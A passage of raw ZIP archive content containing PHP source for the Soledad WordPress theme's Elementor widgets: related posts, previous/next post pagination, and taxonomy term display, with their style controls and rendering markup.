	                <?php do_action('penci_bookmark_post',get_the_ID()); ?>
	                    <a class="related-thumb penci-image-holder <?php echo $lazy_class; ?>"
	                       data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=200&h=300' ;?>"
	                       href="#" title="This is a post Title"></a>
	                    <div class="related-content">
	                    	<?php 
	                    	if ( 'style-4' == $related_style || 'style-5' == $related_style ) {
	                    		?>
	                    		<a class="penci-cat-name" href="#" rel="category tag"><span>Category Name</span></a>
	                    		<?php
	                    	}
	                    	?>
	                        <h3>
	                            <a href="#"><?php echo wp_trim_words( 'This is a post Title', $related_title_length, '...' ); ?></a>
	                        </h3>
							<?php if ( ! $settings[ 'penci_hide_date_related' ] ): ?>
	                            <span class="date"><?php penci_soledad_time_link(); ?></span>
							<?php endif; ?>
						</div>
					</div>
                </div>
			<?php
			endfor;
			if ( ! $settings[ 'penci_post_related_grid' ]) {
				echo '<div class="penci-owl-dots"></div></div>';
			}
			echo '</div></div>';
	}

    public static function markup_block_title( $args, $self = null ) {
		$defaults = array(
			'heading_title_style'  => 'style-1',
			'heading'              => '',
			'heading_title_link'   => '',
			'add_title_icon'       => '',
			'block_title_icon'     => '',
			'block_title_ialign'   => '',
			'block_title_align'    => '',
			'heading_icon_pos'     => '',
			'heading_icon'         => '',
			'block_title_marginbt' => '',
		);

		$r = wp_parse_args( $args, $defaults );

		if ( ! $r['heading'] ) {
			return;
		}

		if ( 'video_list' == $r['heading_title_style'] ) {
			return;
		}

		$heading_title = get_theme_mod( 'penci_sidebar_heading_style' ) ? get_theme_mod( 'penci_sidebar_heading_style' ) : 'style-1';
		$heading_align = get_theme_mod( 'penci_sidebar_heading_align' ) ? get_theme_mod( 'penci_sidebar_heading_align' ) : 'pcalign-center';


		if ( $r['heading_title_style'] ) {
			$heading_title = $r['heading_title_style'];
		}

		if ( $r['block_title_align'] ) {
			$heading_align = 'pcalign-' . $r['block_title_align'];
		}

		$heading_icon_pos    = get_theme_mod( 'penci_sidebar_icon_align' ) ? get_theme_mod( 'penci_sidebar_icon_align' ) : 'pciconp-right';
		$heading_icon_design = get_theme_mod( 'penci_sidebar_icon_design' ) ? get_theme_mod( 'penci_sidebar_icon_design' ) : 'pcicon-right';

		if ( $r['heading_icon_pos'] ) {
			$heading_icon_pos = $r['heading_icon_pos'];
		}

		if ( $r['heading_icon'] ) {
			$heading_icon_design = $r['heading_icon'];
		}

		$classes = 'penci-border-arrow penci-homepage-title penci-home-latest-posts';
		$classes .= ' ' . $heading_title;
		$classes .= ' ' . $heading_align;
		$classes .= ' ' . $heading_icon_pos;
		$classes .= ' ' . $heading_icon_design;
		$classes .= $r['block_title_ialign'] ? ' block-title-icon-' . $r['block_title_ialign'] : ' block-title-icon-left';
		?>
        <div class="<?php echo esc_attr( $classes ); ?>">
            <h3 class="inner-arrow">
				<?php
				if ( $r['heading_title_link']['url'] ) {
					$self->add_render_attribute( 'link', 'href', $r['heading_title_link']['url'] );
					if ( $r['heading_title_link']['is_external'] ) {
						$self->add_render_attribute( 'link', 'target', '_blank' );
					}

					if ( $r['heading_title_link']['nofollow'] ) {
						$self->add_render_attribute( 'link', 'rel', 'nofollow' );
					}

					echo '<a ' . $self->get_render_attribute_string( 'link' ) . '>';
				} else {
					echo '<span>';
				}

				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'left' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				echo do_shortcode( $r['heading'] );
				if ( $r['add_title_icon'] && $r['block_title_icon'] && 'right' == $r['block_title_ialign'] ) {
					\Elementor\Icons_Manager::render_icon( $r['block_title_icon'] );
				}
				if ( $r['heading_title_link'] ) {
					echo '</a>';
				} else {
					echo '</span>';
				}
				?>
            </h3>
        </div>
		<?php
	}

	protected function builder_content() {
		$this->overwrite_mods();
        $settings = $this->get_settings();
        $settings['heading'] = $settings['penci_post_related_text'];
        if ( $settings['penci_hide_heading'] == 'yes' ) {
			$this->markup_block_title( $settings );
		}
		get_template_part( 'inc/templates/related_posts' );
	}

	protected function overwrite_mods() {
		$settings = $this->get_settings();
		$mods     = [
            'penci_related_style',
			'penci_post_related_autoplay',
			'penci_numbers_related_post',
			'penci_related_orderby',
			'penci_related_sort_order',
			'penci_related_posts_title_length',
			'penci_related_by',
			'penci_post_related_grid',
			'penci_post_related_dots',
			'penci_post_related_arrows',
			'penci_post_related_icons',
			'penci_hide_date_related',
			'penci_post_related_text'
		];
		foreach ( $mods as $mod ) {
			$value = $settings[ $mod ];
            if ( $settings['penci_hide_heading'] == 'yes' && 'penci_post_related_text' == $mod ) {
			    $value = '';
		    }
			add_filter( 'theme_mod_' . $mod, function () use ( $value ) {
				return $value;
			} );
		}
	}
}
PK     2w\crD  D  3  template-builder/single-elements/postpagination.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSinglePostpagination extends \Elementor\Widget_Base {

	public function get_title() {
		return esc_html__( 'Post - Post Pagination', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-post-navigation';
	}

	public function get_categories() {
		return [ 'penci-single-builder' ];
	}

	public function get_keywords() {
		return [ 'single', 'post', 'pagination' ];
	}

	protected function get_html_wrapper_class() {
		return 'pcsb-pnavi elementor-widget-' . $this->get_name();
	}

	public function get_name() {
		return 'penci-single-post-pagination';
	}

	protected function register_controls() {

		$this->start_controls_section( 'content_section', [
			'label' => esc_html__( 'General', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
		] );

		$this->add_control( 'penci_post_nav_style', array(
			'label'     => __( 'Style', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => [
				'style-1'       => esc_html__( 'Style 1', 'soledad' ),
				'style-2'       => esc_html__( 'Style 2', 'soledad' ),
				'style-3'       => esc_html__( 'Style 3', 'soledad' ),
				'style-4'       => esc_html__( 'Style 4', 'soledad' ),
				'style-5'       => esc_html__( 'Style 5', 'soledad' ),
			],
		) );

		$this->add_control( 'penci_post_nav_thumbnail', [
			'label'   => esc_html__( 'Show Post Navigation Thumbnail?', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SWITCHER,
			'default' => '',
		] );

		$this->add_control( 'penci_trans_previous_post', [
			'label'   => esc_html__( 'Text: Previous Post', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => penci_get_setting( 'penci_trans_previous_post' ),
		] );

		$this->add_control( 'penci_trans_next_post', [
			'label'   => esc_html__( 'Text: Next Post', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::TEXT,
			'default' => penci_get_setting( 'penci_trans_next_post' ),
		] );

		$this->end_controls_section();

		$this->start_controls_section( 'image_setup', [
			'label'     => esc_html__( 'Thumbnail Settings', 'soledad' ),
			'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
			'condition' => [ 'penci_post_nav_thumbnail' => 'yes' ],
		] );
		$this->add_control( 'thumb_size', array(
			'label'   => __( 'Custom Image Size', 'soledad' ),
			'type'    => \Elementor\Controls_Manager::SELECT,
			'default' => '',
			'options' => $this->get_list_image_sizes( true ),
		) );
		$this->add_responsive_control( 'thumb_ratio', array(
			'label'       => __( 'Thumbnail Ratio (%)', 'soledad' ),
			'type'        => \Elementor\Controls_Manager::SLIDER,
			'range'       => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors'   => array(
				'{{WRAPPER}} .penci-post-nav-thumb:before' => 'padding-top: {{SIZE}}%; content: ""; display: block;',
				'{{WRAPPER}} .penci-post-nav-thumb'        => 'height: auto;',
			),
			'render_type' => 'template'
		) );
		$this->add_responsive_control( 'thumb_w', array(
			'label'     => __( 'Thumbnail Width', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-post-nav-thumb' => 'width: {{SIZE}}px;' ),
		) );
		$this->add_responsive_control( 'thumb_br', array(
			'label'     => __( 'Thumbnail Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 300, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-post-nav-thumb' => 'border-radius: {{SIZE}}px' ),
		) );
		$this->end_controls_section();

		$this->start_controls_section( 'color_style', [
			'label' => esc_html__( 'Color & Styles', 'soledad' ),
			'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'post_desc_typo',
			'label'    => __( 'Typography for Small Text Description', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-pagination .prev-post-title span',
		) );

		$this->add_control( 'post_desc_color', [
			'label'     => 'Color for Small Text Description',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination .prev-post-title span' => 'color: {{VALUE}}' ],
		] );

		$this->add_group_control( \Elementor\Group_Control_Typography::get_type(), array(
			'name'     => 'post_title_typo',
			'label'    => __( 'Typography for Post Title', 'soledad' ),
			'selector' => '{{WRAPPER}} .post-pagination .prev-title, {{WRAPPER}} .post-pagination .next-title, {{WRAPPER}} .post-pagination.pcpagp-style-2 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-3 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-4 .prev-post-title, {{WRAPPER}} .post-pagination.pcpagp-style-5 .prev-post-title',
		) );

		$this->add_control( 'post_title_color', [
			'label'     => 'Post Title Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination a' => 'color: {{VALUE}}' ],
		] );

		$this->add_control( 'post_title_hcolor', [
			'label'     => 'Post Title Hover Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [ '{{WRAPPER}} .post-pagination a:hover' => 'color: {{VALUE}}' ],
		] );
		$this->add_responsive_control( 'post_spacing', array(
			'label'     => __( 'Spacing Between Next & Previous Posts', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 500, ) ),
			'selectors' => array( '{{WRAPPER}} .prev-post,{{WRAPPER}} .next-post' => 'width:calc(50% - {{SIZE}}px/2)' ),
		) );

		$this->add_control( 'previousn_post_bg', [
			'label'     => 'Background Color',
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => [
				'{{WRAPPER}} .post-pagination .prvn-item' => 'background-color: {{VALUE}}',
			],
		] );
		$this->add_control( 'previousn_post_bdradius', array(
			'label'     => __( 'Borders Radius', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SLIDER,
			'range'     => array( '%' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .prvn-item' => 'border-radius: {{SIZE}}%;overflow:hidden;',
			),
		) );
		$this->add_control( 'nprev_post_pd', array(
			'label'      => __( 'Add Paddding', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .prvn-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_control( 'prev_post_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border: 1px solid {{VALUE}}' ),
		) );
		$this->add_control( 'prev_post_bdw', array(
			'label'      => __( 'Borders Width', 'soledad' ),
			'type'       => \Elementor\Controls_Manager::DIMENSIONS,
			'size_units' => array( 'px', '%', 'em' ),
			'selectors'  => array( '{{WRAPPER}} .prvn-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );

		$this->add_control( 'prev_post_bdstyle', array(
			'label'     => __( 'Borders Style', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::SELECT,
			'default'   => '',
			'options'   => [
				''       => esc_html__( 'Default', 'soledad' ),
				'solid'  => esc_html__( 'Solid', 'soledad' ),
				'double' => esc_html__( 'Double', 'soledad' ),
				'dotted' => esc_html__( 'Dotted', 'soledad' ),
				'dashed' => esc_html__( 'Dashed', 'soledad' ),
			],
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border-style: {{VALUE}}' ),
		) );
		$this->add_control( 'previous_post_bdcolor', array(
			'label'     => __( 'Borders Color', 'soledad' ),
			'type'      => \Elementor\Controls_Manager::COLOR,
			'selectors' => array( '{{WRAPPER}} .prvn-item' => 'border-color: {{VALUE}}' ),
		) );
		$this->end_controls_section();

	}

	/**
	 * Get image sizes.
	 *
	 * Retrieve available image sizes after filtering `include` and `exclude` arguments.
	 */
	public function get_list_image_sizes( $default = false ) {
		$wp_image_sizes = $this->get_all_image_sizes();

		$image_sizes = array();

		if ( $default ) {
			$image_sizes[''] = esc_html__( 'Default', 'soledad' );
		}

		foreach ( $wp_image_sizes as $size_key => $size_attributes ) {
			$control_title = ucwords( str_replace( '_', ' ', $size_key ) );
			if ( is_array( $size_attributes ) ) {
				$control_title .= sprintf( ' - %d x %d', $size_attributes['width'], $size_attributes['height'] );
			}

			$image_sizes[ $size_key ] = $control_title;
		}

		$image_sizes['full'] = esc_html__( 'Full', 'soledad' );

		return $image_sizes;
	}

	public function get_all_image_sizes() {
		global $_wp_additional_image_sizes;

		$default_image_sizes = [ 'thumbnail', 'medium', 'medium_large', 'large' ];

		$image_sizes = [];

		foreach ( $default_image_sizes as $size ) {
			$image_sizes[ $size ] = [
				'width'  => (int) get_option( $size . '_size_w' ),
				'height' => (int) get_option( $size . '_size_h' ),
				'crop'   => (bool) get_option( $size . '_crop' ),
			];
		}

		if ( $_wp_additional_image_sizes ) {
			$image_sizes = array_merge( $image_sizes, $_wp_additional_image_sizes );
		}

		return $image_sizes;
	}

	protected function render() {

		if ( penci_elementor_is_edit_mode() ) {
			$this->preview_content();
		} else {
			$this->builder_content();
		}

	}

	protected function preview_content() {
		$settings = $this->get_settings();
		$width    = 300;
		$height   = 300;
		$class    = isset( $settings['thumb_ratio']['size'] ) && $settings['thumb_ratio']['size'] ? 'has-custom-ratio' : 'default-ratio';
		$style    = $settings['penci_post_nav_style'];
		$class    .= ' pcpagp-'.$style;
		?>
        <div class="post-pagination <?php echo $class; ?>">

            <div class="prev-post prvn-item">
				<?php if ( $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb penci-image-holder penci-holder-load penci-lazy"
                           href="#"
                           data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb penci-image-holder"
                           href="#"
                           style="background-image: url('<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="prev-post-inner">
                	<?php if ( $style == 'style-3'): ?>
	                <div class="prev-post-inner-ct">
	                <?php endif; ?>
                    <div class="prev-post-title">
                        <span><?php echo $settings['penci_trans_previous_post']; ?></span>
                    </div>
                    <a href="#">
                        <div class="pagi-text">
                            <h5 class="prev-title">Previous Post Title</h5>
                        </div>
                    </a>
                    <?php if ( $style == 'style-3'): ?>
	                </div>
	                <?php endif; ?>
                </div>
            </div>

            <div class="next-post prvn-item">
				<?php if ( $settings['penci_post_nav_thumbnail'] ): ?>
					<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next penci-image-holder penci-holder-load penci-lazy"
                           href="#"
                           data-bgset="<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>">
                        </a>
					<?php } else { ?>
                        <a class="penci-post-nav-thumb nav-thumb-next"
                           href="#"
                           style="background-image: url('<?php echo PENCI_SOLEDAD_URL . '/inc/template-builder/placeholder.php?w=' . $width . '&h=' . $height; ?>');">
                        </a>
					<?php } ?>
				<?php endif; ?>
                <div class="next-post-inner">
                	<?php if ( $style == 'style-3'): ?>
	                <div class="next-post-inner-ct">
	                <?php endif; ?>
                    <div class="prev-post-title next-post-title">
                        <span><?php echo $settings['penci_trans_next_post']; ?></span>
                    </div>
                    <a href="#">
                        <div class="pagi-text">
                            <h5 class="next-title">Next Post Title</h5>
                        </div>
                    </a>
                    <?php if ( $style == 'style-3'): ?>
	                </div>
	                <?php endif; ?>
                </div>
            </div>
        </div>
		<?php
	}

	protected function builder_content() {
		$settings  = $this->get_settings();
		$thumbsize = $settings['thumb_size'];
		$style    = $settings['penci_post_nav_style'];
		$class    = isset( $settings['thumb_ratio']['size'] ) && $settings['thumb_ratio']['size'] ? 'has-custom-ratio' : 'default-ratio';
		$class    .= ' pcpagp-'.$style;
		?>
        <div class="post-pagination <?php echo $class;?>">
			<?php
			$prev_post = get_previous_post();
			$next_post = get_next_post();
			?>
			<?php if ( ! empty( $prev_post ) ) : ?>
                <div class="prev-post prvn-item">
					<?php if ( has_post_thumbnail( $prev_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                            <a class="penci-post-nav-thumb penci-holder-load penci-lazy"
                               href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                               data-bgset="<?php echo penci_image_srcset( $prev_post->ID, $thumbsize ); ?>">
                            </a>
						<?php } else { ?>
                            <a class="penci-post-nav-thumb"
                               href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>"
                               style="background-image: url('<?php echo penci_get_featured_image_size( $prev_post->ID, $thumbsize ); ?>');">
                            </a>
						<?php } ?>
					<?php endif; ?>
                    <div class="prev-post-inner">
                    	<?php if ( $style == 'style-3'): ?>
		                <div class="prev-post-inner-ct">
		                <?php endif; ?>
                        <div class="prev-post-title">
                            <span><?php echo penci_get_setting( 'penci_trans_previous_post' ); ?></span>
                        </div>
                        <a href="<?php echo esc_url( get_the_permalink( $prev_post->ID ) ); ?>">
                            <div class="pagi-text">
                                <h5 class="prev-title"><?php echo get_the_title( $prev_post->ID ); ?></h5>
                            </div>
                        </a>
                        <?php if ( $style == 'style-3'): ?>
		                </div>
		                <?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>

			<?php if ( ! empty( $next_post ) ) : ?>
                <div class="next-post prvn-item">
					<?php if ( has_post_thumbnail( $next_post->ID ) && 'yes' == $settings['penci_post_nav_thumbnail'] ): ?>
						<?php if ( ! get_theme_mod( 'penci_disable_lazyload_single' ) ) { ?>
                            <a class="penci-post-nav-thumb penci-holder-load penci-lazy nav-thumb-next"
                               href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                               data-bgset="<?php echo penci_image_srcset( $next_post->ID, $thumbsize ); ?>">
                            </a>
						<?php } else { ?>
                            <a class="penci-post-nav-thumb nav-thumb-next"
                               href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>"
                               style="background-image: url('<?php echo penci_get_featured_image_size( $next_post->ID, $thumbsize ); ?>');">
                            </a>
						<?php } ?>
					<?php endif; ?>
                    <div class="next-post-inner">
                    	<?php if ( $style == 'style-3'): ?>
		                <div class="next-post-inner-ct">
		                <?php endif; ?>
                        <div class="prev-post-title next-post-title">
                            <span><?php echo penci_get_setting( 'penci_trans_next_post' ); ?></span>
                        </div>
                        <a href="<?php echo esc_url( get_the_permalink( $next_post->ID ) ); ?>">
                            <div class="pagi-text">
                                <h5 class="next-title"><?php echo get_the_title( $next_post->ID ); ?></h5>
                            </div>
                        </a>
                        <?php if ( $style == 'style-3'): ?>
		                </div>
		                <?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
		<?php
	}
}
PK     2w\j#s]B  ]B  -  template-builder/single-elements/taxonomy.phpnu [        <?php
if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}


class PenciSingleTaxonomy extends \Elementor\Widget_Base {

	public function get_name() {
		return 'penci-single-taxonomy';
	}

	public function get_title() {
		return esc_html__( 'Post - Taxonomy', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-folder-o';
	}

	public function get_categories() {
		return array( 'penci-single-builder' );
	}

	public function get_keywords() {
		return array( 'single', 'taxonomy' );
	}

	protected function register_controls() {

		$this->start_controls_section(
			'content_section',
			array(
				'label' => esc_html__( 'General', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_CONTENT,
			)
		);

		$post_taxonomies = get_object_taxonomies( 'post' );
		$post_tax        = array();
		$post_tax['']    = 'Select';
		foreach ( $post_taxonomies as $tname ) {
			$labels             = get_taxonomy( $tname );
			$post_tax[ $tname ] = $labels->label;
		}

		foreach ( penci_get_published_posttypes() as $type ) {

			$type_data = get_object_taxonomies( $type );
			if ( is_array( $type_data ) ) {
				foreach ( $type_data as $type_name ) {
					$labels                 = get_taxonomy( $type_name );
					$post_tax[ $type_name ] = $labels->label;
				}
			}
		}

		$this->add_control(
			'term_name',
			array(
				'label'   => 'Taxonomies',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'options' => $post_tax,
				'default' => '',
			)
		);

		$this->add_control(
			'term_style',
			array(
				'label'   => 'Display Style',
				'type'    => \Elementor\Controls_Manager::SELECT,
				'default' => 's1',
				'options' => array(
					's1' => 'Style 1',
					's2' => 'Style 2',
					's3' => 'Style 3',
					's4' => 'Style 4',
				),
			)
		);

		$this->add_control(
			'tax_align',
			array(
				'label'     => __( 'Text Align', 'soledad' ),
				'type'      => \Elementor\Controls_Manager::CHOOSE,
				'default'   => 'left',
				'options'   => array(
					'left'   => array(
						'title' => __( 'Left', 'soledad' ),
						'icon'  => 'eicon-text-align-left',
					),
					'center' => array(
						'title' => __( 'Center', 'soledad' ),
						'icon'  => 'eicon-text-align-center',
					),
					'right'  => array(
						'title' => __( 'Right', 'soledad' ),
						'icon'  => 'eicon-text-align-right',
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-list' => 'text-align:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_link',
			array(
				'label'     => 'Show Taxonomy as Text',
				'type'      => \Elementor\Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
				'default'   => '',
			)
		);

		$this->add_control(
			'term_text',
			array(
				'label'   => 'Show Label Text',
				'type'    => \Elementor\Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'term_divider',
			array(
				'label'     => 'Show Icon Divider',
				'type'      => \Elementor\Controls_Manager::SWITCHER,
				'label_on'  => __( 'Show', 'soledad' ),
				'label_off' => __( 'Hide', 'soledad' ),
			)
		);

		$this->add_control(
			'term_divider_icon',
			array(
				'label'     => 'Divider Icon',
				'type'      => \Elementor\Controls_Manager::ICONS,
				'default'   => array(
					'value'   => 'far fa-circle',
					'library' => 'fa-regular',
				),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->add_control(
			'divider_icon_size',
			array(
				'label'     => 'Divider Icon Size',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'default'   => array( 'size' => '7' ),
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 20,
					),
				),
				'selectors' => array( '{{WRAPPER}} .divider-icon' => 'font-size: {{SIZE}}px;' ),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->add_control(
			'term_spacing',
			array(
				'label'     => 'Spacing Between Taxonomy Terms',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'margin-right: {{SIZE}}px;margin-left: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'content_label',
			array(
				'label'     => esc_html__( 'Label Settings', 'soledad' ),
				'tab'       => \Elementor\Controls_Manager::TAB_CONTENT,
				'condition' => array( 'term_text' => 'yes' ),
			)
		);

		$this->add_control(
			'label_text',
			array(
				'label'   => 'Label Text',
				'type'    => \Elementor\Controls_Manager::TEXT,
				'default' => '',
			)
		);

		$this->add_control(
			'label_enable_icon',
			array(
				'label'   => 'Show Icon Before Lable Text?',
				'type'    => \Elementor\Controls_Manager::SWITCHER,
				'default' => '',
			)
		);

		$this->add_control(
			'label_icon_display',
			array(
				'label'     => 'Label Icon',
				'type'      => \Elementor\Controls_Manager::ICONS,
				'condition' => array( 'label_enable_icon' => 'yes' ),
				'default'   => array(
					'value'   => 'far fa-tags',
					'library' => 'fa-regular',
				),
			)
		);

		$this->add_control(
			'label_spacing',
			array(
				'label'     => 'Label Spacing',
				'type'      => \Elementor\Controls_Manager::SLIDER,
				'range'     => array(
					'px' => array(
						'min' => 0,
						'max' => 100,
					),
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-list .term-labels' => 'margin-right: {{SIZE}}px' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'color_style',
			array(
				'label' => esc_html__( 'Color & Styles', 'soledad' ),
				'tab'   => \Elementor\Controls_Manager::TAB_STYLE,
			)
		);

		$this->add_group_control(
			\Elementor\Group_Control_Typography::get_type(),
			array(
				'name'     => 'term_typo',
				'label'    => __( 'Typography for Term', 'soledad' ),
				'selector' => '{{WRAPPER}} .pctmp-term-item',
			)
		);

		$this->add_control(
			'term_color',
			array(
				'label'     => 'Term Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_hcolor',
			array(
				'label'     => 'Term Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bgcolor',
			array(
				'label'     => 'Term Background Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bghcolor',
			array(
				'label'     => 'Term Background Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'background-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bcolor',
			array(
				'label'     => 'Term Background Borders Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_bhcolor',
			array(
				'label'     => 'Term Background Borders Hover Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} a.pctmp-term-item:hover' => 'border-color:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_padding',
			array(
				'label'      => 'Term Item Padding',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border',
			array(
				'label'      => 'Term Item Border',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-width: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'term_border_style',
			array(
				'label'     => 'Term Borders Style',
				'type'      => \Elementor\Controls_Manager::SELECT,
				'options'   => array(
					'dotted' => 'Dotted',
					'dashed' => 'Dashed',
					'solid'  => 'Solid',
					'double' => 'Double',
					'groove' => 'Groove',
					'ridge'  => 'Ridge',
					'inset'  => 'Inset',
					'outset' => 'Outset',
				),
				'selectors' => array( '{{WRAPPER}} .pctmp-term-item' => 'border-style:{{VALUE}}' ),
			)
		);

		$this->add_control(
			'term_border_radius',
			array(
				'label'      => 'Term Item Borders Radius',
				'type'       => \Elementor\Controls_Manager::DIMENSIONS,
				'size_units' => array( 'px', '%', 'em' ),
				'selectors'  => array(
					'{{WRAPPER}} .pctmp-term-item' => 'border-radius: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
				),
			)
		);

		$this->add_control(
			'divider_color',
			array(
				'label'     => 'Divider Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .divider-icon' => 'color:{{VALUE}}' ),
				'condition' => array( 'term_divider' => 'yes' ),
			)
		);

		$this->end_controls_section();

		$this->start_controls_section(
			'style_label',
			array(
				'label'     => esc_html__( 'Label Style', 'soledad' ),
				'tab'       => \Elementor\Controls_Manager::TAB_STYLE,
				'condition' => array( 'term_text' => 'yes' ),
			)
		);

		$this->add_control(
			'icon_color',
			array(
				'label'     => 'Icon Color',
				'type'      => \Elementor\Controls_Manager::COLOR,
				'selectors' => array( '{{WRAPPER}} .term-labels i' => 'color:{{VALUE}}' ),
			)
		);

		$this->add_responsive_control(
